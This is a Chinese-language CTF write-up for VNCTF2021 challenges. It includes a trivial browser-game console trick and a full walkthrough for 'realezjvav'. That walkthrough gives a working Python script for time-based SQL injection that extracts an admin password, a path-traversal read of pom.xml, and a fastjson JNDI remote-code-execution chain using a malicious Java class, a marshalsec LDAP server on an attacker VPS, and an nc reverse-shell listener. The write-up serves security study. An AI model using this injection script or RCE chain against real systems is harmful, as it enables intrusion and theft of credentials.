Back

VNCTF2021

Ezgame

在网上找到这个游戏的源码,然后在game.js中搜索win关键词,发现当winTimer.IsSet()返回True时,游戏胜利。

然后在其他文件里找找,就可以在gameEngine.js中找到Timer类的isSet方法:

IsSet() { return this.endTime > 0; }

所以我们可以直接在控制台输入:winTimer.endTime = 1

然而,有大佬直接从网站源码中解出了flag:

在源码里面找到了一堆奇怪的东西:

image-20210316230417536

丢到一个在线加密网站,解密得到flag:

image-20210316231049083

tql

(原来直接丢到控制台回车就出来了。。。

realezjvav[复现]

第一关是一个笛卡尔积注入,其实当时fuzz出来之后发现sleep benchmark RLIKE get_lock都被ban了,只剩笛卡尔积了,奈何还是太菜了,一直没办法延时,最后又跑去想是不是别的方向。。。

自己写的脚本:(本来想用三个table的组合,会延时1s左右,但是不知道为啥有时候正常的请求会有5s的延时,所以改用两个table加一个column,这样大概会有13秒左右的延时,然后时差>10s即可;time.sleep(0.1)是怕buu的容器429Too Many Requests)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time

url = "http://0ce14b29-a69c-47eb-9aa1-2c0c972e4125.node3.buuoj.cn/user/login"
ans = ""

for i in range(1, 100):
    flag = 1
    for j in range(31,127):
        # password:no_0ne_kn0w_th1s
        payload = "1' and if(ascii(substr(password,"+ str(i) +",1))>"+ str(j) +",0,(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.columns C))#"
        data = {"username": "admin", "password": payload}
        res = requests.post(url=url, data=data)
        time.sleep(0.1)
        # print(payload)
        print(res.elapsed.total_seconds())
        # print(res.status_code)
        if res.status_code != 200:
            print("error "+str(res.status_code))
            break
        if res.elapsed.total_seconds() > 10:
            if (j != 31):
                ans += chr(j)
                flag = 0
                break
            else:
                break
    if (flag == 0):
        print(ans)
    else:
        break

登录进去之后是一个头像选择页面,有一个创捷角色功能,burp抓包,传的是json数据:

image-20210319170403525

然后发现图片的显示是根据:/searchimage?img=2.png,尝试读取flag,但是并不行,因为对java项目的目录结构不清楚,所以啥也读不到,wp里面读取了../../../../../pom.xml,并且在里面找到了fastjson依赖:

image-20210319170912302

然后根据红队武器库:fastjson小于1.2.68全漏洞RCE利用exp这篇文章进行复现。

构造恶意java类并起一个http服务

这里用到了34566 34567 34568三个端口,34566是我们反弹shell的监听端口,写在Exploit.java里面(把官方wp的ip改成自己的vps,端口改成34566);34567是恶意java类的端口,先使用javac Exploit.java生成Exploit.class,然后使用python3 -m http.server 34567起一个http服务:

image-20210319171759616

然后再浏览器中输入IP地址和端口34567看看有没有开起来:

image-20210319171903026

如果没有,得把vps防火墙中相应的端口打开。

开启LDAP服务

34568是ldap服务的端口

git clone https://hub.fastgit.org/mbechler/marshalsec.git

然后cd marshalsec

接着build(可能需要先sudo apt install maven):

mvn clean package -DskipTests

等待一段时间完成之后会生成一个target目录,cd target

然后run:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx:34567/#Exploit 34568

image-20210319172901123

最后nc -lvvp 34566监听我们反弹shell的端口

用payload攻击题目服务器

在刚刚抓包发送json数据的地方把我们的payload发送过去(使用Unicode编码):

image-20210319173248337

然后反弹shell成功,cat即可拿到flag:

image-20210319173545104

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy